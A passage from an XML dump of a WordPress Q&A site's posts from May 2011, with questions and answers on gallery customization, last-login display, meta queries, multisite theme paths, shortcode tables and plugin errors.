rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; how to customize the gallery, but if I do it I'll print the customized gallery, and than with &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt; I'll print it again with the default wordpress style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does exists some way to customize &lt;code&gt;[gallery]&lt;/code&gt; directly?&lt;/p&gt;&#xA;" OwnerUserId="5287" LastEditorUserId="5287" LastEditorDisplayName="" LastEditDate="2011-05-14T10:06:35.600" LastActivityDate="2011-05-14T10:06:35.600" Title="Customizing the gallery of the post correctly" Tags="&lt;customization&gt;&lt;gallery&gt;&lt;image&gt;" AnswerCount="1" />
  <row Id="17171" PostTypeId="2" ParentId="17170" CreationDate="2011-05-13T18:01:22.797" Score="1" ViewCount="" Body="&lt;p&gt;I'm good with everything except for the &lt;em&gt;removed it from the post article&lt;/em&gt; part. Leaving the images attached to the Post actually makes it &lt;em&gt;easier&lt;/em&gt; to work with the images, because you can query them by &lt;code&gt;post_parent&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: what do you mean by &lt;em&gt;managed the media from the &lt;code&gt;post-template.php&lt;/code&gt;&lt;/em&gt;? Are you saying that you modified the core &lt;code&gt;post-template.php&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-13T18:01:22.797" CommentCount="3" />
  <row Id="17172" PostTypeId="1" AcceptedAnswerId="17175" CreationDate="2011-05-13T18:19:44.660" Score="2" ViewCount="139" Body="&lt;p&gt;I am using this script to get the last time a user logged in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_last_login($user_id) {&#xA;    $last_login = get_user_meta($user_id, 'last_login', true);&#xA;    echo human_time_diff($last_login) . &quot; &quot; . __('ago');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am calling it in author.php with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;Last login: &amp;lt;?php get_last_login($userdata-&amp;gt;ID); ?&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to output  like &quot;last login X days ago&quot; but I can't get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$last_login output is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;2011-05-13 18:00:06&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the final output I get is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;last login 15108 days ago&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="2119" LastEditorDisplayName="" LastEditDate="2011-05-13T19:49:21.040" LastActivityDate="2011-05-13T19:59:11.337" Title="Display last login time" Tags="&lt;login&gt;&lt;date-time&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17173" PostTypeId="2" ParentId="16800" CreationDate="2011-05-13T18:29:19.160" Score="3" ViewCount="" Body="&lt;p&gt;The images are already grouped by &lt;em&gt;gallery&lt;/em&gt;, so you simply need to determine the gallery to which the single pic belongs (which I &lt;em&gt;think&lt;/em&gt; is &lt;code&gt;$image-&amp;gt;galleryid&lt;/code&gt;), and then drop &lt;code&gt;rel=&quot;lightbox[$gallery]&quot;&lt;/code&gt; into the anchor tag in your &lt;code&gt;singlepic.php&lt;/code&gt; template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, something like this (in the &lt;code&gt;singlepic.php&lt;/code&gt; NextGen Gallery template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$galleryid = $image-&amp;gt;galleryid;&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $image-&amp;gt;imageURL ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $image-&amp;gt;description ?&amp;gt;&quot; &amp;lt;?php echo $image-&amp;gt;thumbcode ?&amp;gt; rel=&quot;lightbox[&amp;lt;?php echo $galleryid; ?&amp;gt;]&quot; &amp;gt;&#xA;...&#xA;&amp;lt;/a&amp;gt;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, let me know and we'll figure it out!&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-13T18:29:19.160" CommentCount="3" />
  <row Id="17174" PostTypeId="1" CreationDate="2011-05-13T18:33:23.010" Score="0" ViewCount="60" Body="&lt;p&gt;When doing a recent Google search we noticed that some of our images are being cached by Google but the link that is attached to them is the actual media library link.  So when you click on that link, it shows a really &quot;ugly&quot; page because this page is not really published and is the template.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make images that we upload to our Media Library unsearchable or keep them out of being cached by Google?&lt;/p&gt;&#xA;" OwnerUserId="5351" LastActivityDate="2011-08-12T17:22:50.753" Title="Wordpress Media Library - how to &quot;uncache&quot; images" Tags="&lt;image&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17175" PostTypeId="2" ParentId="17172" CreationDate="2011-05-13T18:37:11.380" Score="2" ViewCount="" Body="&lt;p&gt;Are you formatting the &lt;code&gt;mysql2date()&lt;/code&gt; input string as &lt;code&gt;'Y-m-d H:i:s'&lt;/code&gt;, as &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/mysql2date&quot; rel=&quot;nofollow&quot;&gt;specified in the Codex?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, why not use this same format as &lt;code&gt;$date_format&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What output do you get for &lt;code&gt;$last_login?&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The second argument in &lt;code&gt;human_time_diff()&lt;/code&gt; is optional. Why not just omit it? That way, if you get valid output from &lt;code&gt;$last_login&lt;/code&gt;, you should get valid output from &lt;code&gt;human_time_diff()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;human_time_diff()&lt;/code&gt; function expects a &lt;em&gt;UNIX timestamp&lt;/em&gt; for its first argument. Try wrapping &lt;code&gt;$last_login&lt;/code&gt; in &lt;code&gt;mktime()&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$last_login_unix = mktime( $last_login );&#xA;&#xA;human_time_diff( $last_login_unix );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might want to use &lt;a href=&quot;http://php.net/manual/en/function.strtotime.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strtotime()&lt;/code&gt;&lt;/a&gt; instead of &lt;code&gt;mktime()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$last_login_unix = strtotime( $last_login );&#xA;&#xA;human_time_diff( $last_login_unix );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-13T19:59:11.337" LastActivityDate="2011-05-13T19:59:11.337" CommentCount="9" />
  <row Id="17176" PostTypeId="2" ParentId="17174" CreationDate="2011-05-13T18:38:54.140" Score="0" ViewCount="" Body="&lt;p&gt;You could &lt;code&gt;noindex, nofollow&lt;/code&gt; your &lt;code&gt;\wp-content\uploads\&lt;/code&gt; directory?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-13T18:38:54.140" CommentCount="2" />
  <row Id="17177" PostTypeId="1" AcceptedAnswerId="17178" CreationDate="2011-05-13T19:38:10.460" Score="0" ViewCount="61" Body="&lt;p&gt;My query is currently sorting by end date. How can I make it so it will sort by the start date?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array ('post_type'      =&amp;gt; 'events',&#xA;           'meta_query'     =&amp;gt; array(&#xA;                array(&#xA;                   'key'        =&amp;gt; 'start_date',&#xA;                   'value'      =&amp;gt; $min_date,&#xA;                   'compare'    =&amp;gt; '&amp;gt;'&#xA;                ),&#xA;                array(&#xA;                   'key'        =&amp;gt; 'start_date',&#xA;                   'value'      =&amp;gt; $max_date,&#xA;                   'compare'    =&amp;gt; '&amp;lt;'&#xA;                ),&#xA;                array(&#xA;                   'key'        =&amp;gt; 'end_date',&#xA;                   'value'      =&amp;gt; $current_date,&#xA;                   'compare'    =&amp;gt; '&amp;gt;'&#xA;                )&#xA;            ),&#xA;           'orderby'        =&amp;gt; 'meta_value',&#xA;           'order'          =&amp;gt; 'ASC'&#xA;          );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-05-13T19:51:47.730" Title="How to &quot;orderby&quot; the first array in a meta_query that uses multiply keys?" Tags="&lt;query&gt;&lt;sort&gt;&lt;meta-query&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="17178" PostTypeId="2" ParentId="17177" CreationDate="2011-05-13T19:51:47.730" Score="1" ViewCount="" Body="&lt;p&gt;try adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_key' =&amp;gt; 'start_date'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-13T19:51:47.730" />
  <row Id="17179" PostTypeId="2" ParentId="10138" CreationDate="2011-05-13T20:05:30.777" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$my_url = 'my/relative/url.php';&#xA;echo site_url($my_url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/site_url&quot; rel=&quot;nofollow&quot;&gt;site_url()&lt;/a&gt; when used by itself will return the absolute path to your blog. But, if you add an argument to it, as per my example above, it will prepend the absolute path to your path. Just make sure your URL doesn't contain a leading slash (eg: /this/may/not/work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you happen to have your wordpress installed in your server's root, you can use a server-relative path (this uses the leading slash to indicate starting at the server root). So if your blog is installed at &lt;code&gt;http://www.me.com/blog&lt;/code&gt; then you can access your relative links safely with &lt;code&gt;/blog/my_link.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-05-13T20:05:30.777" />
  <row Id="17180" PostTypeId="1" AcceptedAnswerId="17188" CreationDate="2011-05-13T20:55:49.003" Score="1" ViewCount="147" Body="&lt;p&gt;I'm using twentyten and have overloaded home.php to do some custom stuff. However, I would still like to have a page that lists all of my recent posts, archive-style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get to an archive page for any given category with myblog/category/category-name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd like to get to an archive that just lists all recent posts, regardless of category. Like myblog/archive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I assuming too much? I know I can create a custom page template and then create a custom page and apply that template. I just thought that wordpress had a built-in &quot;archives&quot; page, no?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-05-14T21:53:39.040" Title="What is the link to my default &quot;archive&quot; page?" Tags="&lt;template&gt;&lt;archive&gt;&lt;link&gt;" AnswerCount="3" />
  <row Id="17181" PostTypeId="2" ParentId="17154" CreationDate="2011-05-13T21:25:10.420" Score="1" ViewCount="" Body="&lt;p&gt;it sounds from your text that you are using the number you gave it under 'page attributes' 'order'; &#xA;use the page ID instead for the 'exclude'. &lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-13T21:25:10.420" />
  <row Id="17182" PostTypeId="2" ParentId="17154" CreationDate="2011-05-13T21:27:27.597" Score="0" ViewCount="" Body="&lt;p&gt;I have had the same issue sometimes i always but a &lt;code&gt;,&lt;/code&gt; at the end of the number and that seems to work&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-13T21:27:27.597" CommentCount="1" />
  <row Id="17183" PostTypeId="2" ParentId="17180" CreationDate="2011-05-13T21:33:34.913" Score="-1" ViewCount="" Body="&lt;p&gt;According to this image, the file you want is archive.php categories have there own file along with others&#xA;&lt;img src=&quot;http://i.stack.imgur.com/3fjBL.png&quot; alt=&quot;WordPress Template Hierarchy&quot;&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;Link to the image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Twentyten template uses all of the features WordPress offers as an example of what you can make your theme do&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-13T21:33:34.913" CommentCount="4" />
  <row Id="17184" PostTypeId="1" AcceptedAnswerId="17231" CreationDate="2011-05-13T21:56:52.063" Score="0" ViewCount="115" Body="&lt;p&gt;On my Wordpress site I have a three level navigation. In the second level of every main navigation item is a &quot;toolkit&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to highlight this page in the navigation. Is there anyway that I can add a class to a page, so that I could style its navigation link separately? Is there a plugin out there that would allow me to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping it would be something like in the Page Editor screen is a custom field that allows me to input a class. The class is then generated when calling the WP_List_Pages function. Then with some simple CSS and can change the background of all those links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5353" LastActivityDate="2011-05-14T14:21:33.033" Title="Add class to navigation link of page" Tags="&lt;css&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="17185" PostTypeId="1" CreationDate="2011-05-13T21:58:26.820" Score="0" ViewCount="68" Body="&lt;p&gt;I'm running WP 3.1.2 on an Apche server with the latest PHP installed. My WP is setup for a subdirectory multisite. The themes for the sites are usually a modified TwentyTen theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing a new plugin, I activate per site, not network, and I'm able to then click through to a few links in the admin UI before I'm prompted with an error starting with &lt;strong&gt;Warning: require_once&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter what plugin is installed or how it's activated (per site or network). I have verified that the &quot;missing file&quot; is where it should be. I am using the latest version, most of them have been updated with in the past month or so and as per the official WP forum for the plugins, other users claim them to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's becoming a real nuisance to have to go into every plugin and hard code the directory to each plugin file. I have tried reinstalling all the WP core files to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else seen this or know how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; On a completely different domain with a brand new install of WP on a new database, I'm seeing hte same thing. Any new plugin install shows a missing file error. This is extremely annoying and I need to fix it. I suspect it's something within Apache but not sure.&lt;/p&gt;&#xA;" OwnerUserId="5295" LastEditorUserId="5295" LastEditorDisplayName="" LastEditDate="2011-05-17T22:02:59.537" LastActivityDate="2011-05-17T22:02:59.537" Title="Plugin error after installation" Tags="&lt;plugins&gt;&lt;php&gt;&lt;apache&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="17186" PostTypeId="2" ParentId="17184" CreationDate="2011-05-13T22:08:04.317" Score="2" ViewCount="" Body="&lt;p&gt;In the menu editor open the &quot;Screen options&quot; tab, and check the &quot;CSS classes&quot; checkbox. Now you can add any class you like to each menu item&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-13T22:08:04.317" CommentCount="3" />
  <row Id="17187" PostTypeId="1" AcceptedAnswerId="17193" CreationDate="2011-05-13T22:14:00.993" Score="1" ViewCount="176" Body="&lt;p&gt;Im trying to build a shortcode which calls an HTML table with a fixed number of columns and a variable number of rows depending on the context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its hard to manage &amp;mdash; or even build, multiple tables over and over through HTML. I've had no trouble creating fixed columns and rows through shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate through the usage of a trivial example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume i build a table with 4 columns and 1 row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 4 columns will contain the following table headers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Product name&lt;/li&gt;&#xA;&lt;li&gt;Quantity&lt;/li&gt;&#xA;&lt;li&gt;Price per item&lt;/li&gt;&#xA;&lt;li&gt;Total price&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What if i wanted to create multiple rows (Product 1, Product 2 etc..), if at all possible, how can i build a shortcode that enables me to add more rows as i see fit &amp;mdash; without creating a separate shortcode for table rows (been there).&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-13T23:17:28.210" Title="Shortcodes, HTML tables, and multiple rows" Tags="&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="17188" PostTypeId="2" ParentId="17180" CreationDate="2011-05-13T22:22:00.987" Score="2" ViewCount="" Body="&lt;p&gt;No, there is no &quot;full archive&quot; page like you describe created by default. This would basically be the twentyten index page set to display &quot;your latest posts.&quot; If you don't want to access the archives via some sort of filter (category, author, year, month etc.) then you will need to create your own archive template and page like you described above. you could also use the twentyten index.php as the basis for your new template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can create the archive page, set it to use your new template and use the url myblog/archive like you wanted.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-05-13T22:22:00.987" CommentCount="1" />
  <row Id="17189" PostTypeId="2" ParentId="10161" CreationDate="2011-05-13T22:31:59.010" Score="1" ViewCount="" Body="&lt;p&gt;It should work; I've done the exact same thing successfully in a couple different styles of custom post type classes. There's a possibility that your original RW_Test object is being overwritten—perhaps you're using the same variable name somewhere else? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate, a good place to start troubleshooting is to look at all the active hooks to make sure that your &quot;wp_ajax_rw_delete_image&quot; action is active (and paired with the correct RW_Test object) when you initiate the AJAX call. I suggest &lt;a href=&quot;http://www.rarst.net/script/debug-wordpress-hooks/&quot; rel=&quot;nofollow&quot;&gt;this hooks debugger&lt;/a&gt; from Rarst to echo the active hooks in your admin page.&lt;/p&gt;&#xA;" OwnerUserId="750" LastActivityDate="2011-05-13T22:31:59.010" CommentCount="1" />
  <row Id="17190" PostTypeId="2" ParentId="14672" CreationDate="2011-05-13T22:32:34.503" Score="2" ViewCount="" Body="&lt;p&gt;I would seriously consider looking into the WPAlchemy metaboxes class. It does exactly what you are after and so much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/#have_fields_and_multi&quot; rel=&quot;nofollow&quot;&gt;http://www.farinspace.com/wpalchemy-metabox/#have_fields_and_multi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This class is so great that I am frankly shocked that there is not a lot more discussion about it. *If there is a better metabox class, I'd love to hear about it, though I am very happy with WPAlchemy.&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-05-13T22:32:34.503" />
  <row Id="17191" PostTypeId="1" AcceptedAnswerId="17213" CreationDate="2011-05-13T22:35:29.207" Score="1" ViewCount="82" Body="&lt;p&gt;Some days ago I've upgraded my single-site WP installation to support a multi-site WP website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've created two new sites and set the same theme I was using on my single WP blog before.&#xA;But unluckily, looking at the HTML source, I've noticed that these new sites use a different path to retrieve their theme.&#xA;They both use &quot;$SITENAME/wp-content/Themes/...&quot;, while I would expect it to be merely &quot;/wp-content/Themes/...&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change this behavior because I don't want my visitors to download three times my website  (because there are 3 sites, and each uses its own wp-content directory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are my settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'MULTISITE', true );&#xA;define( 'SUBDOMAIN_INSTALL', false );&#xA;$base = '/';&#xA;define( 'DOMAIN_CURRENT_SITE', 'my-website.org' );&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xA;&#xA;# add a trailing slash to /wp-admin&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule  ^[_0-9a-zA-Z-]+/(wp-(content|admin|includes).*) $1 [L]&#xA;RewriteRule  ^[_0-9a-zA-Z-]+/(.*\.php)$ $1 [L]&#xA;RewriteRule . index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do what I want? &#xA;I was also considering the use of subdomains, in particular &quot;static.my-website.org&quot; to serve the static content, like themes, files, and so on, but if I can't solve this, ...&lt;/p&gt;&#xA;" OwnerUserId="5354" LastActivityDate="2011-05-15T19:28:06.600" Title="How to set a single theme directory on a multisite blog?" Tags="&lt;themes&gt;&lt;multisite&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="17192" PostTypeId="2" ParentId="14672" CreationDate="2011-05-13T22:51:03.130" Score="0" ViewCount="" Body="&lt;p&gt;It's possible using a Metabox class that handles most of the coding for you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*If there is a better metabox class, I'd love to hear about it, though I am&#xA;  very happy with WPAlchemy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I prefer using Jared Atchison and Bill Erickson's &lt;a href=&quot;https://github.com/jaredatch/Custom-Metaboxes-and-Fields-for-WordPress&quot; rel=&quot;nofollow&quot;&gt;Custom Metaboxes and Fields for WordPress&lt;/a&gt; class.  It is very extensible and the easy to use and expand upon.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/c3mdigital/Custom-Metaboxes-and-Fields-for-WordPress/tree/patch-1&quot; rel=&quot;nofollow&quot;&gt;My fork of it&lt;/a&gt; allows you to also create taxonomy select and taxonomy radio custom fields.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-13T22:51:03.130" CommentCount="1" />
  <row Id="17193" PostTypeId="2" ParentId="17187" CreationDate="2011-05-13T23:17:28.210" Score="2" ViewCount="" Body="&lt;p&gt;pass your data in single variables delimited by some char:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[myproduct cols=&quot;name,quantity,price&quot; data=&quot;name1,5,2.00,name2,3,3.25&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then explode it into an array and output. I didn't bother with table markup here, but you get the idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myproduct_func( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;        'cols' =&amp;gt; 'none',&#xA;        'data' =&amp;gt; 'none',&#xA;    ), $atts ) );&#xA;&#xA;    $cols = explode(',',$cols);&#xA;    $data = explode(',',$data);&#xA;    $total = count($cols);&#xA;&#xA;    $output = &quot;&quot;;&#xA;    foreach($cols as $col):&#xA;        $output .= &quot;| {$col} &quot;;&#xA;    endforeach;&#xA;&#xA;    $output .= &quot;&amp;lt;br&amp;gt;&quot;;&#xA;&#xA;    $counter = 1;&#xA;    foreach($data as $datum):&#xA;        $output .= &quot;| {$datum} &quot;;&#xA;        if($counter%$total==0):&#xA;            $output .= &quot;&amp;lt;br&amp;gt;&quot;;&#xA;        endif;&#xA;        $counter++;&#xA;    endforeach;&#xA;&#xA;    return $output;&#xA;&#xA;}&#xA;add_shortcode( 'myproduct', 'myproduct_func' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-13T23:17:28.210" CommentCount="1" />
  <row Id="17194" PostTypeId="1" AcceptedAnswerId="17215" CreationDate="2011-05-13T23:21:14.923" Score="1" ViewCount="114" Body="&lt;p&gt;Tried them both and they don't seem to be working, am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_footer', 'jupload_scripts');&#xA;    wp_register_script('jquery-ui', 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.12/jquery-ui.min.js', array('jquery'), '1.8.6');&#xA;    wp_enqueue_script( 'jquery-ui' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-05-15T10:40:41.630" Title="Hooks: admin_footer and admin_print_footer_scripts not working?" Tags="&lt;wp-admin&gt;&lt;admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17195" PostTypeId="2" ParentId="14723" CreationDate="2011-05-13T23:32:48.350" Score="1" ViewCount="" Body="&lt;p&gt;I just ran into a similar problem in one of my plugins (and stumbled on this question). In my case, I tracked it down to a conditional statement in my admin_init function. In attempt to keep from loading my plugin's code (and javascript and CSS) on every admin page, I had included the following check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : NULL ;&#xA;if ($uri &amp;amp;&amp;amp; (strpos($uri,'post.php') OR strpos($uri,'post-new.php')) ) { &#xA;   add_action( 'wp_ajax_my_plugin', 'my_plugin_callback' );&#xA;   // load scripts etc.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine to add my action to $wp_filter when the post-new.php page loads. But when the AJAX script posts its data to admin-ajax.php, of course it runs the admin_init function again (since it's run for every admin page load) and at that point the URI doesn't include 'post.php' or 'post-new.php'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I moved the wp_ajax add_action statement outside of my URI test, and now it works great.&lt;/p&gt;&#xA;" OwnerUserId="750" LastActivityDate="2011-05-13T23:32:48.350" />
  <row Id="17196" PostTypeId="1" AcceptedAnswerId="17203" CreationDate="2011-05-14T00:10:46.007" Score="0" ViewCount="104" Body="&lt;p&gt;I'm in need of the ability to allow anyone (they don't have to login) to fill out a form with email and a textarea and submit it to my site. This form would be treated as a post and appear somewhere for me to moderate. If i hit publish, it would be published to my site like any other post i wrote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that allows me to do this or do i need to code it myself, if the latter, how would i go about doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-05-14T14:32:57.957" Title="Allow anonymous users to post to my site for moderation" Tags="&lt;posts&gt;&lt;users&gt;&lt;moderation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="17197" PostTypeId="2" ParentId="17196" CreationDate="2011-05-14T00:18:13.493" Score="0" ViewCount="" Body="&lt;p&gt;It's not free, but &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; will enable you to do this.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-14T00:18:13.493" />
  <row Id="17198" PostTypeId="2" ParentId="17185" CreationDate="2011-05-14T00:19:39.390" Score="1" ViewCount="" Body="&lt;p&gt;The problem is defiantly not with the theme or any specific plugin.  The problem is the fatal error thrown anytime an include or require is seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only other suggestion is to open your php.ini file and find the line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;include_path='.:/usr/local/lib/php'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and comment it out by placing a ; infront of it so it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;;include_path='.:/usr/local/lib/php'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will cause php to use the default include path which might fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you make the change restart apache  &lt;code&gt;$ /etc/init.d/apache2 restart&lt;/code&gt; or  &lt;code&gt;$ /etc/init.d/httpd restart&lt;/code&gt; or &lt;code&gt;$ service httpd restart&lt;/code&gt; depending on what distro of linux your running.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-14T00:19:39.390" CommentCount="3" />
